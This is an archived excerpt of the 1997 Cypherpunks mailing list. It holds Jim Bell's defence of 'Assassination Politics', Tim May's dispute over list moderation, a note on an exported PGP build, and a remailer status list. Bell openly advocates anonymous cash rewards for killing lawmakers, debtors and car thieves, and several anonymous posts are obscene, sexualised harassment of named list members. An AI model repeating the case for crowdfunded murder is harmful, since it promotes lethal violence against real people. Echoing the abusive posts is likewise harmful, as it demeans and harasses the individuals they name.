It's interesting that I keep seeing the same misinterpretations of the AP 
system.  AP is not simply about killing people.  And no, it hasn't been 
tried before.    The occasional assassination is no more like AP than a 
random shot in the dark is like a well-aimed round.  The first may, rarely, 
do the same thing as the second, but there is no prospect of a likely 
repetition.

_SOME_ people seem to "get" this, why not you?  The _absolutely_essential_ 
element that distinguishes AP is the system that allows people's individual 
desires to be denominated in terms of money, and accumulated until an 
anonymous person satisfies that desire and collects the reward.  And, 
moreover, that this system remains in place forever.  


> There is
>nothging in our current understanding of human psychology and social
>interactions that leads to the conclusion that threats of violence will
>necessarily force people to comply. If it did the government (as perceived
>by AP) would not have to deal with real opposition. Simply threaten the
>opposition and it melts away for the same reason that supposedly the
>government would cease to oppose radicalism (ie changes in the status quo
>forced by small groups upon the masses). If anything every real world
>example of AP demonstrates an increase in corruption (eg. Beirut).

I keep telling you that "AP has never been tried before."  


>
>The closest analog in history to AP is the "Flowery Wars" as practiced by
>the Aztecs. However, these were motivated by a belief in religous homogeneity
>and not one of politics. Also, implicit in this was the axiomatic acceptance
>of a real class seperation between those who ruled and those who were ruled.
>By no means could one accept the premise that this caused the Aztec rulers
>to be more sensitive to corruption or the continued existance of their
>system. Another good example is assassination in ancient Rome, it is clear
>that such activities in no way reduced corruption.

AP is NOT the same thing as mere assassination.  Period.  If anything, there 
are excellent reasons why ordinary assassination can, indeed, increase 
corruption while the AP system would reduce it.  

The most obvious difference is this:  The motivations are vastly different.  
Heretofore, assassinations have occurred based on the desires of only a tiny 
fraction of the population.  Often one person, or only a few.  In other 
words, the assassinations which DO occur are NOT the ones that "the rest of 
us" would choose.  The latter type DO NOT occur!  


>If anything AP provides a rationale (ie self-defence) to impose even harsher
>a priori conditions on sections of a society by another part of that society.
>Hardly what I would consider a stabalizing condition let alone democratic.

It isn't necessary that any system be "democratic."    "Democracy" assumes 
that certain questions need to be answered by VOTE, as opposed to simply 
allowing individuals to answer those questions for themselves.  We don't all 
get together and vote on what religion we'll all be forced to observe, do 
we?  No.  That's because it is accepted that certain areas are off-limits 
for even a "democratic" system to decide.  We don't have a national vote to 
decide what color to paint ALL of our houses.   We don't have a vote to 
decide what meal to eat next Thursday.  

Well, in my opinion there are few if any proper functions for a so-called 
"democratic" system.  That's because I believe that most if not all 
decisions currently made in any "democratic" system shouldn't be made at 
that level at all!


>What is required for stability is for each group to feel unthreatened and
>secure in expressing their beliefs without fear of reprisals and at the same
>time recognizing they must provide room for others beliefs. There must also
>be the realization that refusal to abide by these precepts will be met with
>immediate consequences. Something AP can't do, as it explicitly promotes
>threats and the carrying out thereof.

You clearly don't understand it!


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 3 Feb 1997 00:38:05 -0800 (PST)
To: cypherpunks@toad.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702030837.AAA08330@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:10 PM 2/2/97 -0600, ichudov@algebra.com wrote:
>jim bell wrote:
>> 
>> Better yet, set up a system to encourage the public to USE those guns (and 
>> other weapons) to get rid of the people who pass such laws, and the problem 
>> is solved.
>> 
>
>How about this scenario: I borrow 1 million dollars from, let's say,
>Phill Hallam-Baker. Not wanting to pay it back, I pay to the
>assassination bot and arrange him to be murdered.

Simple.  Even if a lendor dies (whether by murder or some other cause, 
perhaps undetermined) you (the debtor) presumably will still be obligated to 
pay back the debt, to his estate if nowhere else.  If you WEREN'T 
responsible for the killing, you should still make the payments. If you do, 
then you had no reason to kill him in the first place.

Even in the hypothetical scenario that the lendor is single, has no family 
or other likely heirs, it would be in his interest to declare that his 
estate goes to charity, including debts to it such as yours.  After all, we 
can assume that he doesn't want to get murdered, and the best way of 
avoiding that fate is to remove whatever incentive might otherwise exist for 
anyone else to kill him.  Making sure that all of his debtors are revealed 
would make it difficult for any of them to get away with murder.  Or, at 
least, prevent the fact of such a murder from eliminating the need to repay 
the debt.

If the fact of the loan were revealed, perhaps only after the lendor's 
death, and ALSO the fact that you (alone among his other debtors) refused to 
pay it back, everyone else in that society might reasonably come to the 
conclusion (absent proof or a good explanation to the contrary) that you 
were probably responsible for the death.  At the very least, they wouldn't 
want to deal with you for fear of a similar outcome (non-payment or death), 
and some of the public would be likely to punish you by donating money to 
see you dead.  They would do this, even if they had no particular link to 
the dead lendor, precisely because the publicity from such an outcome would 
deter other people who might be contemplating a similar thing.

The logic is essentially the same as the situation where a person would 
donate small amounts money to see car thieves dead, even if his car hadn't 
(yet) been stolen:  If it is essentially certain that such a penalty will 
always exist, it will tend to deter future incidents.  All car owners have a 
motivation to maintain that system.

>Another story: suppose that I negligently caused fire that destroys
>house of, say, Toto. Toto knows that if he sues me, I can arrange him
>murdered for the amount less than the amount of damages.

As he could, you.  

Remember, if your bad actions were publicized, your reputation would suffer. 
 If he's satisfied that you are guilty, and can prove it to others, you'll 
be in trouble to have the information published.

(On the other hand, if nobody knows it was you who were responsible, you 
won't suffer, but that's no worse than the status quo.)


> As a result,
>he refrains from suing me, or (if he is a mean person) pays additional 
>money to have me murdered. A suit would probably be a much better outcome.

A "suit" implies that he needs assistance to get the fact of the obligation 
enforced.  Assuming he has enough proof to win a lawsuit, he has more than 
enough proof to sour everyone else on dealing with you in the future, and 
possibly get them to donate to see you dead.  Do you risk it?


>Another story: suppose that OKSAS hired me to work for her, but then
>our relationships go south and she fires me. Again, her fate is very
>unclear, although I would probably spare her life if it were she. 
>
>The bottom line is, it becomes very hard to do ANYTHING that disappoints 
>at least somebody. That can lead to a lot of inefficiencies.

I predict that agreements will simply change to avoid (or anticipate) such 
disappointments, in order to ensure that neither party feels "taken" if 
things don't work out as planned.  Or, if there is an 
innocent-and-unavoidable breach of the agreement that harms one person, the 
other will be motivated to make it up to the first.  In effect, they'll have 
to find a mutually-agreeable middle ground.



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 3 Feb 1997 00:32:36 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <v03007800af1ab0e7d67e@[207.167.93.63]>
Message-ID: <v03007800af1b4258d2a4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Unfortunately, Sandy responded to my post with his own flames ("piffle,"
"disingenous," "straw man," etc.). Now he may well think his points are not
flames becuase they are "true," but to me they take the form of flames. But
then I have long disliked Sandy's method of argument. Nothing personal. But
I find Sandy's series of dismissals--in other posts from other people, not
just this one--to be "flamish." As Sandy says, your mileage may vary.

As Sandy did a too-common section-by-section disssection, I'll do the same
for his comments.

At 9:55 PM -0800 2/2/97, Sandy Sandfort wrote:

>> I chose not to write a "departing flame" (or message, but some might call
>> it a flame) when I unsubscribed several weeks ago--within an hour of
>> reading that John and Sandy had decided to make "their" list a moderated
>> list,...
>
>This is Tim's first error of fact.  I point it out not to insult
>him, but because it seriously affects much of the rest of his

How can this be an "error of fact" when I am clearly setting out a point of
view? Is it an error of fact that moderation was happening? Or is the
disagreement with my quotes around "their"? This was clearly an expression
of sarcasm. Hardly an "error of fact."

>> ...and saw no point in wasting even more of my time arguing against the New
>> Cypherpunks World Order, as the NCWO was clearly presented as a fait
>> accompli, not something ablut which opinions of list members (or even list
>> _founders_, at least not me) were being sought.
>
>Factual error #2.  There was a call for comment; Tim chose not to
>do so.  In retrospect, I wish we had run it by Tim, Eric and

John's message did not say he was thinking about instituting censorship, it
said he was in the process of setting up such a system. As for the comments
solicited, I noticed no changes whatsoever.

(I guess the several dozen comments were "errors of fact," "piffle," and
"straw men." Can anyone think of a single one of the various points made
after John's announcement that changed the plan in any significant way?)

>> I see vast amounts of bandwidth consumed by arguments about
>> moderation, about the putative biases of the Moderator and Director of the
>> New Cypherpunks World Order, about alternative moderation strategies (which
>> is stupid, as John and Sandy announced what they were going to do, not just
>> some of their preliminary thoughts), and so on. I've also noticed fewer
>> substantive essays.
>
>And I see something different.  Since previously, Tim actively
>filter the list, I'm not sure on what basis he can make his
>comparison.  As just one example (though a signicant one) Dimitri

That's an easy one, one I explained at least two or three times in the last
half year: I used Eudora Pro to sort mail into various folders. I'm quite
aware of what is going into various folders, and sometimes I even look in
them. Clear enough?


>has posted more non-flaming, on-topic posts during the two weeks
>of this experiment then in the previous several months.  In my
>opinion, other than for the hysterical posts of a very few
>self-righteous loudmouths, the overall quality of the posts has
>been far superior to what it had become in the weeks before the
>experiment began.  YMMV.

Piffle. Nonsense. If you think the overall quality of posts is superior now
to what it had been, your bias in favor of your own brain child is so
powerful that it's warped your judgment.

Who else thinks the quality is now higher?

(By the way, I don't think the proper statistical method is to "average"
all of the posts, including the Vulisgrams and the scatolological insults,
as these were easily filtered by anyone with a clue. Rather, look at the
substantive and stimulating essays, the important ones, and ask if they
have gotten better. It's disingenuous to claim that filtering out the
childish insults has improved the quality of the essays. As I said, I've
seen the opposite. You apparently think differently.)

>> (Others did too, but they seem to be tapering off as well, leaving the list
>> to be dominated by something called a "Toto," the "O.J. was framed!"
>> ravings of Dale Thorn, the love letters between Vulis and someone name
>> Nurdane Oksas,...
>
>Two points:  Since Tim largely agrees with those in opposition to
>moderation, and because of the extraordinary nature of Tim's post,
>I did not send it to the "flames" list.  It was a judgment call.

Here Sandy is really going over the line. He is saying he _almost_ filtered
my message into the reject pile, where later he claims I would have no
problem writing an essay and not knowing whether it would be filtered into
the Good or the Bad pile. He later writes, in response to my point:

"(Frankly, one of my considerations in leaving was the feeling that I
>> would never know if an essay I'd spent hours composing would be rejected by
>> Sandy for whatever reasons....
>
>Tim, I think this is disingenuous.  I have been quite clear on
>my moderation criteria.  You are too intelligent to feign such
>a lack of understanding."

So, given that I wrote my essay today, should I have known if it would be
filtered into Sandy's "Not Fit for True Cypherpunks" list, or the Approved
list? Sandy implies that he himself had to make a "judment call" on this
one.

Hey, people, this shows how fucked up things have gotten. Lord Almighty
Sandy says my long-considered, well-written essay was _almost_ shitcanned
("It was a judgment call"). And for what reason? Apparently because of a
single paragraph that mentioned "Toto" and Dale Thorn (oh, and Nurdane and
Vulis and their love relationship) in unflattering terms.

Is this the crap the Cypherpunks were founded to put up with? A petty
satrap deciding to filter out a long and substantive essay because he feels
some paragraph is insulting? What a state of affairs.

This more than anything demonstrates the truth of Lord Acton's maxim about
absolute power corrupting absolutely. Sandy feels free to flame away
(piffle, straw man, logical fallacy), but expresses umbrage at my very
accurate comments about ravings and rantings of certain list memmbers.

(Perhaps Sandy will censor this message, feeling you readers are not able
to handle my dismissal of his asinine views. This will leave the Censor
having the final word, which is "not unexpected." When a censor gets into a
debate with one of his charges, this is what often happens.)

>> * But the really important issue is this: is the _physical hosting_ of the
>> Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list
>> was hosted by, say, UC Berkeley or PGP Incorporated, would we consider
>> these hosts to be the "owners" of the Cypherpunks group?...
>
>I think this is a Straw Man.  John and I have never argued that
>John "owns" cypherpunks.  When a Cypherpunk meeting is held in
>someone's living room, however, I don't think it's asking to much
>to ask everyone to follow the local rules (e.g., "no shoes in the
>house" or "no smoking" or even "no ad hominem attacks").  As Tim
>is fond of saying, "my house; my rules."  I don't think this
>means Tim "owns" a physical meeting in his house.

This is precisely the point I made!

As for John instituting a censorhip policy, as I said, he is of course free
to do it. It may be foolish to do so, but he is free to do so. And those of
us who don't like what this all means are free to leave. Sounds fair to me.

>> While John had (and has) every legal right
>> to do with his property as he wished, the effect was very negative. First,
>> Vulis found other ways to post (duh).
>
>Tim, do you really believe that John did not anticipate this?

I have no idea what John anticipated and didn't. But if he knew it wouldn't
work, why bother? Not only did Vulis actually start posting _more_, it also
consumed the list in a frenzy of posts about it.

(By the way, remember that we are here talking about the unsubscription of
Vulis by John. My reason for this reminder will be clear in a moment.)

>> Second, the list was consumed with
>> flames about this, many from Vulis, and many from others.
>
>It was consumed with flames before.  Now, at least, the vast
>majority of folks on the list don't have to read them, nor jump
>through any hoops to implement some sort of dynamic filtering
>half-measure.

We're talking about Vulis being unsubscribed, not the list censorship episode.

>> Third, journalists (who love sizzle over substance any day of
>> the week) lept into the fray with articles which gave Vulis the
>> publicity he craved.
>
>That's what journalist do, though I wasn't aware of ANY articles
>on this issue.  I would appreciate it if Tim could give us some
>citations.

Again, we're talking about the Vulis unsubscription episode. Go back to the
archives covering this period. Declan McCullough wrote an article about
this, giving Vulis much publicity. And some of us were contacted by other
journalists asking for our views, for what this meant about for the list's
espoused philosophy about anarchy, etc. (I refused to comment, of course.)


>> Fourth, it sent a message to enemies of liberty that "Even the
>> Cypherpunks have found it necessary to abandon their anarchic
>> ways."
>
>That's one message that one could take from all this, I suppose.
>I don't see it that way, nor do several list members who thanked
>me in private e-mail for improving the list.  Again, YMMV.

Once again, the subject of the section you're citing was about the Vulis
unsubscription matter. I think, Sandy, you need to read more carefully
before you denounce arguments.

>> (I'm well aware of the issues with pests like Vulis, who seek to destroy
>> virtual communities like ours. But the solution John used did not work, and
>> generated more crap....
>
>What didn't work was "local filtering" which has no feed-back
>loop to engender comity.  This might not work either, but I see
>no evidence that it has made things worse.  Remember, there are a

If you see no evidence that is has made things worse, then apparently you
haven't seen that I have not been posting for the past month. Whatever my
reasons, if you can seriously claim that you can see "no evidence" that a
change of some sort has occurred...

>hand-full of subscribers to the Flames list, 20-30 on the
>Unedited list and *2000* or so on the Moderated list.  Sure some
>of that may be due to laziness, but it would be cavalier in the
>extreme to claim that such an overwhelming acceptance of
>moderation is merely an artifact of inertia.

I still maintain, as others have as well, that a better approach would have
been to announce the "Sandy-approved" list as a new option. Changing the
main list to the censored version was a way to exploit the name of the
list, etc.

(Consider if Eric Blossom's filtered list was suddenly declared to be the
"Cypherpunks" list. This is essentially what has happened. A major screw
up. And I don't really think it germane to cite how many are on each list.
Sheep are sheep, and, frankly, about 1850 of those putative "*2000*" on the
main list are never, ever heard from.)

....
>Tim and I disagree on which definition of "censorship" applies in
>this situation.  Dale Thorne, and others, have argued, in essence,
>that there is censorship if ANY definition would apply.  I'm not
>sure time is going that far, but if so, I respectfully disagree.
>
>But let's apply Tim's above definition for the sake of argument.
>Am I, thereby, a censor?  Well I am examining "other material"
>and I am making judgments with regard to whether or not it is
>"objectionable," unfortunately for Tim's argument, I am neither
>"removing" nor "supressing" anything.  Anybody can read anything
>that gets posted to Cypherpunks--in two places.  I am sorting,
>but even my sorting can be completely avoided.

Sophistry.


>> * OK, even given that John had decided to censor "his" list, what about his
>> choice of Sandy Sandfort as the censor?
>
>John didn't choose me, I approached him.  I offered my opinion as
>to what I thought HE ought to do about the list disruptions.  The
>short version of his answer was, "if you think you can do a
>better job, go for it."  I accepted the challenge, so here I am.
>I don't want this job.  If the list members decide to keep the
                                ^^^^^^^^^^^^^^^^^^^

By the way, how is this to be "decided"? A democratic vote of the herd? Do
all "*2000*" get a vote? Are we moving from benevolent dictatorship to
direct democracy?


>> * Nor do the announced criteria make any sense. While the inane one-line
>> scatological insults have been filtered out, many "flames" make it through,
>> based on what I've seen in perusing the hks archive site. And some
>> reasonable comments get dumped in the flame bucket.
>
>Very possibly true.  Moderation is like crypto, perfection isn't
>and option.  However, a 90% solution is a heck of a lot better
>than no solution at all.  Yes, I've made what I consider to be
>errors, but I think on some, I've done a very good job overall.

You seriously think that establishing the idea that "even the Cypherpunks
group accepts the need for censorship of unpopular views" is worth the
minimal bandwidth savings of not having some of the scatological one-liners
and insults? The huge amount of list animosity (so much for "comity") and
bandwidth on this censorship issue dwarfs the bandwidth taken up by the
Vulisgrams.

>> * (Frankly, one of my considerations in leaving was the feeling that I
>> would never know if an essay I'd spent hours composing would be rejected by
>> Sandy for whatever reasons....
>
>Tim, I think this is disingenuous.  I have been quite clear on
>my moderation criteria.  You are too intelligent to feign such
>a lack of understanding.

As I noted earlier, you yourself said it was a "judgment call" for you to
not put my message in the flames pile. So, did I truly not understand your
criteria for approval (which means I wasn't feigning ignorance), or did I
understand that which you yourself acknowledged having to make a judgment
call (kissing cousin to a "guess" where I come from) on?

If you are unsure whether to dump a major, substantive essay into the
flames pile or allow it to be read by the main list, then this makes my
point precisely. I don't want Sandy Sandfort sitting in judgment on my
posts, deciding what the Cypherpunks--a group I co-founded for God's
sake!!!!--are to be allowed to read and what they may not.

(Saying what Sandy is doing is not "censorship" but is only "sorting" is
pure sophistry.)


>> maybe he might think my essay was off-topic,
>
>Clearly not a criterion I ever enunciated.

Another part of the problem is that the standards have not been clearly
stated. "Flames" have not been defined in any meaningful way. Apparently
it's OK for you to refer to my arguments as "disingenuous" and "piffle,"
but referring to someone's repeated ravings about how O.J. was framed is
"flaming."

Piffle.

>> * The decision to "moderate" (censor) the Cypherpunks list is powerful
>> ammunition to give to our opponents,
>
>Piffle.  Letting spoiled children destroy the list puts a far
>more powerful weapon in the hands of our enemies.

See what I mean? "Piffle."

("piffle, n. Foolish or futile talk or ideas")

Hardly a substantive argument. I'd call it an insult. And I'll bet that if
Phill Hallam-Baker dismisses an argument with a "foolish" one-line
characterization, it will be viewed as a flame. (Well, not now, now that
Sandy is apprised of this.)



>> and Vulis is certainly gleeful that
>> his fondest wishes have been realized.
>
>I do not have a crystal ball.  My Vulcan mind meld is in the
                                   ^^^^^^^^^^^^^^^^

Ah, a non-flamish way of making an argument. Dismissive jokes substituting
for responding to my _opinion_.


>> (I would venture a guess that a Duncan Frissell would almost certainly get a
>> libertarian rant past Sandy while a Phill Hallam-Baker might easily fail to
>> get a leftist rant past him.)
>
>I sorry Tim gives me so little credit.  Rather than merely post a
>self-serving denial, I would ask that Phill confirm or deny Tim's
>supposition.  To the best of my recollection, I have sent only
>one post of Phill's to the Flames list.  It flamed Jim Bell.  As
>far as moderating political rants go, I'm agnostic.

Again, look at what the Cypherpunks list has become! Because some of the
barnyard insults were getting to some people, we now have a situation where
a thoughtful commentator like Phill H-B (who I rarely agree with, by the
way, but his essays show he's thinking about issues deeply) has his stuff
sent to the scrap heap because he "flamed" Jim Bell? Or was it a critique
of Bell's "assassination politics" ideas and the way he presents them,
perhaps with a single flamish comment (a la the comment I made that caused
Sandy to almost mark my entire essay as unfit for Cypherpunks)?

I urge Phill, or others, to retrieve this offending article and repost it.
Or use "*%&$" symbols where the banned flame language was contained, so it
will pass muster with Sandy. Then we can better judge just what we're
giving up in order to have the kind of "comity" which Sandy thinks he is
creating.


--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 3 Feb 1997 00:48:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGPmail 4.5 exported
Message-ID: <199702030848.AAA20795@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain




There is a pgpmail45.exe at ftp.hacktic.nl/pub/replay/pub/incoming.
The file has an md5 sum of 'ffd56d7647c30152a5c9fe7616a3d9ef'.
Could somebody who bought the software check that this is the same
file.

It is presumably free for use outside of North America, since PGP
Inc. can't be expected to accept payment from foreigners... :-)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Sun, 2 Feb 1997 23:07:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: About: My Departure, Moderation, and "Ownership of the List"
Message-ID: <32F5AB1A.1B49@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


For what it's worth, I think that this Tim May, not being a
user of the list, has no place to talk. His type, to me,
characterate those who quit something and complain later,
knowing that some people will listen to them.

So what, if he decided to leave? It was his own choice
and he can't just come back and say everyone who stayed is
now impelled to listen to him, just because he used to
do a bunch of posts. I don't think that hardly any of
you would listened to me later if I left the list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Mon, 3 Feb 1997 00:19:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: None
Message-ID: <199702030819.BAA00723@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Dimitri Vinyl K{rust}OfTheMonth will fuck anything that moves,
but he'd rather be fucking his own mother's dead body.

 v-v-v-@@-v-v-v
      (..)     Dimitri Vinyl K{rust}OfTheMonth






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sun, 2 Feb 1997 22:56:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702030637.BAA04034@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May has been a source of endless embarassments to his 
sympathizers on and off the net.

          o/ Timmy May
         <|
         / >





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sun, 2 Feb 1997 23:07:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Man in the Middle
Message-ID: <199702030707.XAA03474@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Derisve Vibrator K[retin]OfTheMonth had his foreskin ripped off
last night by a vacuum cleaner.

                .-._
               {_}^ )o
      {\________//~`
       (         )   Derisve Vibrator K[retin]OfTheMonth
       /||~~~~~||\
      |_\\_    \\_\_
      "' ""'    ""'"'






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Mon, 3 Feb 1997 01:24:25 -0800 (PST)
To: Mark Henderson <mch@squirrel.com>
Subject: Re: PGP 2.1
In-Reply-To: <199702022225.OAA03367@toad.com>
Message-ID: <32F5C84E.10B9@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mark Henderson wrote:
> 
> Larry Johnson writes:
> > Hello,
> > Can any;one tell me how to get a version of PGP 2.1?
> > Thanks
> >
> But, why do you want version 2.1?

Because the guy who wrote it was let off after that on his jail 
charges, so I'm not going to use anything he made after that if
I don't know why.
I'm not saying that he rolled over or nothin buyt I'm gonna be
paranoyd like he said in the book. I dont suposse he'd mind,
since he said it.
I'm not real smart sometimes but I'nm not a real lamer, either.
(I don't think)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Mon, 3 Feb 1997 02:59:37 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@homer.sonetis.com>
Subject: Re: Trigger-Words...Trigger-Fingers
In-Reply-To: <199702021555.HAA25437@toad.com>
Message-ID: <32F5E155.2B0F@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


Cynthia H. Brown wrote:
> You would need to run a sniffer at a "choke point" of an
> organisation, for example the external router to the Internet, to
> capture all of the packets to / from that organisation.  Putting a
> sniffer on some arbitrary router out there in cloud-land would
> probably not be all that productive, since there's no guarantee that
> all of the IP packets carrying a given TCP connection would take the
> same route.
> 
> Cynthia
> 
> Junk mail will be ignored in the order in which it is received.
> 
>   It is morally as bad not to care whether a thing
>   is true or not, so long as it makes you feel
>   good, as it is not to care how you got your money
>   as long as you have got it.
> 
>         - Edmund Way Teale, "Circle of the Seasons"

Thats a good thing to say. I wonder howcom no one on this list figures
that all the cool things they say at the end should be thoght about
when it comes to what everyones doing on the list, with all the carp
and the like. (I maeant _crap_)
Everyone talks like their real smart, but I wonder if their not just
a bunch of lamers if they cant get their problems fixed without doing
all the stuff their mottos and stuff say not to do.

I'm on some lists run by kids and they don't tell anyone to shut up
but they still dont have to get all that stuff from the guys advrtising
because the kids running it know how to use their computers.
It sounds like a bunch of old guys on this list, since they don't
think someone should be called a dork when they _are_ one. If their
old then maybe they could ask their kids how to get rid of all the
lamer-stuff. But if they just want the other guys on the list to
shut up then their lamer-guys themselves, probablly7.
I guess all the Canadian guys are on the flame list, eh?, because
they're all hockey players.

I'm only on the list because I got a bunch of your mail that someone
put _fuck_you_ at the top, and when I tracked him down and gave him
hell, he used my internet guys to send bogus posts to you guys.
My uncle got on his machine and fixed it so it sends itself the Ping
of Death from a remailer. Hes been doing that for years, but only to
lamers who screw with him, otherwise he minds his own business.

Theres not many girls on this list, is there?
Do you spit or swallow? (Thats a joke---you dont have to answer)
Are you married?
I bet the guys on the list dont like it because you sound a whole lot
smarter than a lot of them. Old guys think that girls arent good with
computers, except for my uncle. He has to give a forteen year old 
girl on my list a hundred dollars because she got the Ping Of Death
past his firewall when his buddies at Lost Alamo New Mexico couldnt,
and their supposed to be experts because they belong to secret stuff
and some of them are cypherpunks, too, but they don't let anyone know
about it.
Anyway, myu ncle prints out the girl-cypherpunks stuff for the girls
on my list and they think its real cool and they all want to marry
technicians so that they can make them work on the computers for them,
kind of like making them do the computer dishes, you know.

I'm supossed to be in bed, but Im not, but I have to go.
My uncle is going to be mad when he finds out I'mn on cypherpunks
but the rule is that if I get on his secret machine I can do anything
I want to. When his machine boots Duke Nukem 3D is going to boot up
and he's going to be really m-bare-assed. He will shit when he finds
out I'm on cypherpunks list but it was because of him that the guy
started sending me all that junk from you so he cant say nothing.
(I hope!!!!)
He could whack those guys sending you penis drawings and stuff, because
he had his friends at Lost Alamo set up some remailers or get into them
or something to find out who it was, but hes not supposed to interfere
with your stuff but just watch and give people hints of stuff they
already know and stuff like that. He says you guys arent lamers (even
if you cant keep penis drawings off your machine) but just dont care
anymore about fixing your problems yourself.
I still think that you should just let your kids run your machine or
just pick the guy with the coolest name, like Attila the Hun or 
Genocide or OttOmatic.

I've got to go to bed really!
p.s. - My lists go t mail from fuck@yourself.up too but we didn't
_run_ his stuff, and were only kids. My uncle says you guys did.
(I wont call you guys a _lamer_ cause that would make me a _flamer_)  

p.p.s. ->   It is morally as bad not to care whether a thing
>   is true or not, so long as it makes you feel
>   good, as it is not to care how you got your _list_
>   as long as you have got it.
> 
>         - B. D'Shauneaux, "Circle of the Eunuchs"

(You guys should really read your own scrips at the end of your
messages sometimes and see if your doing it yourselfs)

Goodnight, you have a nice name and I bet your pretty too.
Human Gus-Peter





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Mon, 3 Feb 1997 02:01:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Shave the Whales
Message-ID: <199702031001.CAA08382@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



The arrival of warm weather is heralded by the pig shit getting
soft in Dainty L<avabo> Vinegar's mini-cranium and the resulting
green slime seeping through his cocaine- and syphilis- damaged
nose and onto his keyboard.

 ^-^-^-@@-^-^-^
      (..)     Dainty L<avabo> Vinegar






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 3 Feb 1997 06:50:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199702031450.GAA01129@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
